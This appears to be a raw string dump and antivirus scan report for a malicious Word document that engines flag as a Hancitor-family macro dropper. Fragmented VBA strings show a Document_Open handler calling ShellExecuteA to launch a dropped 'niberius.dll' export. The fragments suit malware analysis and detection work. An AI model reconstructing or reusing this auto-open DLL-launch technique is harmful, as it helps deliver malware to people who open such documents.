CloseHandle
FlushFileBuffers
GetConsoleCP
GetConsoleMode
ReadFile
SetFilePointerEx
LoadLibraryExW
OutputDebugStringW
SetStdHandle
WriteConsoleW
ReadConsoleW
CreateFileW
Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AVruntime_error@std@@
.?AVexception@std@@
.?AVfailure@ios_base@std@@
.?AVsystem_error@std@@
.?AV_System_error@std@@
.?AVbad_cast@std@@
.?AV_Facet_base@std@@
.?AVfacet@locale@std@@
.?AUctype_base@std@@
.?AV?$ctype@D@std@@
.?AVerror_category@std@@
.?AV_Generic_error_category@std@@
.?AV_Iostream_error_category@std@@
.?AV_System_error_category@std@@
.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AV?$numpunct@D@std@@
.?AVbad_alloc@std@@
.?AVlogic_error@std@@
.?AVlength_error@std@@
.?AVout_of_range@std@@
.?AV_Locimp@locale@std@@
.?AVios_base@std@@
.?AV?$_Iosb@H@std@@
.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@
.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@
.?AVcodecvt_base@std@@
.?AV?$codecvt@DDH@std@@
.?AVtype_info@@
.?AVbad_exception@std@@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
0$0.0D0N0f0
1#1(1-121N1X1d1p1
2$2)2/252;2A2F2K2Q2W2]2c2h2m2s2w2}2
2'32393B3J3O3U3b3r3w3
4*434>4E4L4R4\4f4t4
5'50595B5R5^5g5m5s5y5~5
6"6(61686>6H6R6`6r6
7%70787=7g7p7|7
8'848;8J8[8r8
9$939A9M9[9b9v9
:2:8:>:E:R:Z:`:f:l:z:
;0;>;O;W;];c;h;v;
<3<O<U<f<l<r<{<
=F=Y=_=d=j=v=|=
>$>3>9>?>S>Y>_>e>k>p>z>
?*?3?>?G?l?r?
0#0)050;0Q0W0i0o0u0{0
1*1C1I1_1e1t1~1
2!2'2-242N2T2c2x2~2
3#313J3P3f3k3x3
7!7(7.737C7T7a7g7q7
8"8/878=8C8Q8Y8_8e8k8p8v8|8
9$9*909:9E9P9]9g9m9s9
:':3:?:K:U:[:a:h:m:w:}:
;#;.;4;F;U;];k;~;
<<*<2<8<H<N<X<b<j<z<
==-=7=A=K=[=l=w=
>$>*>2>@>U>[>a>h>u>
?%?+?4?9?@?I?P?W?g?z?
0.04090?0K0Q0W0]0c0o0v0
1,121@1F1M1U1\1b1j1s1
2!2*202?2E2O2U2^2d2k2t2{2
3"373=3C3J3W3_3e3k3{3
44-4?4N4T4Z4`4e4k4x4
5 5&5+575=5B5H5P5V5b5j5p5v5|5
6 6,646:6@6F6L6Q6W6c6i6r6z6
7 747:7?7E7P7V7[7f7l7r7
8'848D8S8^8f8l8
9!9'9,939<9M9x9~9
:1:7:<:B:H:T:e:l:r:z:
;$;);8;K;Q;W;^;d;n;w;
<)<.<W<]<g<u<
= =%=+=7=@=I=P=V=\=b=p=
>">(>/>5>:>J>[>f>o>v>~>
??%?2?7?=?I?N?T?`?g?p?w?
0C0X0]0z0
1!1'1<1B1G1M1S1[1a1g1m1s1x1
2"2(2.232?2E2K2Q2V2\2h2m2s2|2
3$3/3:3A3M3S3X3]3r3z3
4$4*40464>4I4Q4W4e4s4y4
5'53595M5S5^5d5j5o5
66$6*676R6X6e6m6s6y6
7$787E7Q7W7e7z7
7]8h8n8t8
9%9,9=9C9H9M9x9
:%:+:G:M:X:c:i:n:|:
;*;0;5;;;A;O;T;];h;o;t;
<%<+<0<T<Z<d<r<
3%3G3O3
4%4G4O4
5%5G5O5
5w7V8c8
869C9n9
<#<,<:<D<J<T<^<l<~<
= =-=5=9=>=N=h=v=
>&>>>D>m>z>
?#?)?/?>?E?Y?t?z?
0%0+070G0u0{0
1+1?1G1O1t1z1
2$2*21272D2M2S2X2a2r2x2
3)3.3;3H3N3m3
4"4(4<4\4b4p4v4|4
5!5-525?5K5U5h5
6"656?6W6b6h6}6
7%727D7l7r7
8'8-8>8D8I8R8X8^8f8k8x8
9"979C9R9X9h9q9
:&:,:5:?:D:J:V:_:h:v:
;-;3;@;V;\;{;
< <2<9<F<T<[<i<n<y<
=%=+=7=N=Z=h=o=
>'>6>M>e>{>
?5?;?L?R?W?`?f?l?t?y?
0 0-0<0C0Q0X0d0
1)171>1L1R1^1s1
232T2^2v2|2
31373F3L3R3W3^3d3j3p3x3}3
4+4D4J4\4e4o4
5f6F7X7v;
0(0h0n0v0}0
1#161A1G1X1m1s1y1
232A2P2W2]2e2k2r2
3"3(3@3N3`3f3k3
4)474L4R4X4_4k4s4y4~4
4>516(7
1,2O2j2~2
465H5F;U;
80H0X0
3#464E4U4u4
5]5k5u5
:&:;:G:L:p:
;W;_;e;t;
=+=2=O=}=
>/>@>f>y>
3:6B6c6k6
;"<0<;<C<I<U<c<t<z<
>,>u>|>
?J?P?b?
-040J0T0
1#2K2Y2
4#4<4C4K4P4T4X4
42585<5@5D5
6/6a6h6l6p6t6x6|6
<5<<<@<D<H<L<P<T<X<
=%=@=G=L=P=T=u=
=>>D>H>L>P>
2&2D2f2|2
475?5N5U5n5
9W:]:a:f:l:p:v:z:
;4;I;S;];
;N<c<}<
0i3s3}3
4r5646P6q6
8$838:8K8Y8d8l8y8
:9;_;j;
5,5<5E5M5e5x5~5
6$6,61676?6D6J6R6W6]6e6j6p6x6}6
7#7(7.767;7A7I7N7T7\7a7g7o7t7z7
8*838@8R8k8X?
`1d1h1l1p1t1x1|1
3!3'3B3G3M3S3a3g3
5"5b5m5
5j7u7{7
8(808L8X8^8i8w8
8*929E9P9U9e9q9v9
;,;1;=;B;a;
>(>8>w>
?1?;?i?|?
2.3G3X3
6N6c6q6z6
6,7U7o7w7
=&=5=Z=
>4>M>^>l>v>|>
5)545<5
<==K=b=m=
>,>K>`>j>
3C7+868F8x8
T0d1k1~1
2)22272=2G2Q2a2q2
3$3/343:3D3N3a3f3
4L4R4W4_4
-1`1u1{1
4'474L4V4\4b4h4
7)7O7j7v7
8=8Q8\8l8q8
<3<@<E<S<
0!1_1h1
2S3\394D4W4k4-565B6K677
8C8E9N9
=4>Q>p>*?4?O?i?
)0.0m0r0{0
:"<*</<S<b<
= =)=0=8=A=S=k=q=z=
>F>X>j>|>
5 5(505
6O7Z7E8y8
>"?L?c?r?
252I2u2 3'3M3T3
406^8z8
9 9B9I9
>'>J>^>
2&3.3:3I3
$1*1e1
7&7A7T7d7t7
p1t1x1|1
P4T4X4|4
5 5$5(5,505L5P5T5X5\5`5d5
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6
7 7$7(7,7074787<7L7T7\7d7l7t7|7
8$8,848<8D8L8T8\8d8l8t8|8
9$9,949<9D9L9T9\9d9l9t9|9
:$:,:4:<:D:L:T:\:d:l:t:|:
;$;,;4;<;D;L;T;\;d;l;t;|;
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5(7,707H7L7P7t7x7|7
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
8$8,848<8D8L8T8\8d8l8t8|8
9$9,949<9D9L9T9\9d9l9t9|9
: :(:0:8:@:H:P:X:`:h:p:x:
; ;(;0;8;@;H;P;X;`;h;p;x;
< <(<0<8<@<H<P<X<`<h<p<x<
= =(=0=8=@=H=P=X=`=h=p=x=
> >(>0>8>@>H>P>X>`>h>p>x>
? ?(?0?8?@?H?P?X?`?h?p?x?
0 0(00080@0H0P0X0`0h0p0x0
l3t3|3
0181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1
3 3$3(3,3034383<3@3D3H3L3
:(:4:@:L:X:d:p:|:
;$;0;<;H;T;`;l;x;
< <,<8<D<P<\<h<t<
`4l4x4
5 5,585D5P5\5h5
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<9@9D9H9t?x?
0(0,00080P0`0d0t0x0
141D1H1X1\1`1d1h1p1
2 20242D2H2L2P2T2\2t2
3 3$34383<3@3H3`3p3t3
4,4044484@4X4h4l4|4
5 5(5@5P5T5d5h5l5p5x5
6,606H6X6\6d6|6
70747L7P7h7x7|7
8 8$8,8D8T8X8h8l8p8t8x8
9 9(9@9P9T9d9h9l9t9
9<:L:x:
;(;H;T;t;
<4<X<d<l<
=4=<=T=`=
> >@>H>P>\>|>
?8?D?l?
0 040<0D0L0P0T0X0\0d0x0
1 1(1<1D1L1T1X1\1d1x1
2 2@2L2l2x2
203P3p3
4 4<4@4P4t4
505P5\5x5
686X6x6
7 7@7\7`7|7
8 8@8`8
p2x2|2
5<<@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
?,?8?<?@?D?d?
0$0,040<0D0L0T0\0d0l0t0|0
7<7\7|7
909T9p9
=ZlL;Z
Microsoft Office Word
Project
p%-`_r
p%-`_r
p%-`_r
p%-`_r
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
!G{2DF
8D04C-5B
FA-101B-
m Files\@Common
icrosoft
Shared\
OFFICE16
\MSO.DLL
M 16.0
Lib0rary
5Scripti
f420B28
E718-11C@F-893D
C9054228
fcrru`n.dllH*
Runtime
ocumentG
qeQ@.t
Module1G
niberius
nimb.dll
Attribut
e VB_Nam
e = "Mod
im pls A
Sub ous
l uoia(O
ptions.D
efaultFi
lePath(w
dUserTem@plates
nam(paf
\" & "
niberius
arch(md
Object,
r Each
}nimbBO
CxErrHand
rr.<Cl
Attribut
e VB_Nam
e = "Mod
Attribut
e VB_Nam
e = "Mod
im dfbvc As S
Sub bv
xfcsd()
Call 0asda
L" & "o
While2
f Dir(Le
ft(Optio
ns.Defau
(wdUserT
emplatesi
H"" T8hen
@End If
sDocumen
t.hdhdd@Y
c\Te@`
*\CNormalrU
ThisDocument
Module1
Module2
Module3
Project
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Windows\System32\scrrun.dll
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Scripting
Document
shell32
ShellExecuteA
Document_Open
VBE7.DLL
Search
lpOperation
lpFile
lpParameters
lpDirectory
nShowCmd
ShellExecuteA
\niberius.dll
\niberius.d
ll,UBISYAYMQSE
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
trSafe F
ib "shel
l32" _
Alias
A" (ByVa
l hwnd A
s Long,
lpOpera;
}0ters
rectory
nShowCm
~sPathl
ss.Defa
us.dll"
!"" The
C)0 > 2D
m c8vzz
2l3MB%2@%A
, vbNull
ll,UBISY
AYMQSE"gN!K
hdhdd(a
eFolder
Destin"f
= New Sc
ASearch(a
a* Sel
.MoveDow
n Unit:=
wdLine,
Right
TypeB0acks
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
lpOperation8
lpFile
lpParametersZ
lpDirectory
nShowCmd
shell32t
Document_Open
vcbc8)
wdUserTemplatesPath
Options
DefaultFilePath
vbNullString
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
bvxfcsdn
Module1b
ousx4$
Antivirus Signature
Bkav Clean
Elastic malicious (moderate confidence)
DrWeb Trojan.Chanitor.59
MicroWorld-eScan VB:Trojan.Valyria.4987
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.4987
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren W97M/Injctrx.A!Eldorado
Symantec Clean
ESET-NOD32 a variant of Win32/GenKryptik.FHGO
TrendMicro-HouseCall Clean
Avast Win32:MalwareX-gen [Trj]
ClamAV Clean
Kaspersky VHO:Trojan-Dropper.MSOffice.Agent.gen
BitDefender VB:Trojan.Valyria.4987
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Rising Clean
Ad-Aware VB:Trojan.Valyria.4987
Emsisoft VB:Trojan.Valyria.4987 (B)
Comodo Clean
F-Secure Clean
Baidu Clean
VIPRE LooksLike.Macro.Malware.k (v)
TrendMicro HEUR_VBA.DE
McAfee-GW-Edition Clean
FireEye VB:Trojan.Valyria.4987
Sophos Clean
SentinelOne Clean
GData VB:Trojan.Valyria.4987
Jiangmin Clean
Avira TR/AD.ZDlder.bvoeu
MAX malware (ai score=88)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D137B
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft TrojanDropper:O97M/Hancitor.AJ!MTB
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Suspicious/W97.NS.Gen
VBA32 Clean
Zoner Clean
Tencent Heur.Macro.Generic.c.98a337e2
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet W32/GenKryptik.FHGO!tr
AVG Win32:MalwareX-gen [Trj]
Panda Clean
Qihoo-360 Clean
No IRMA results available.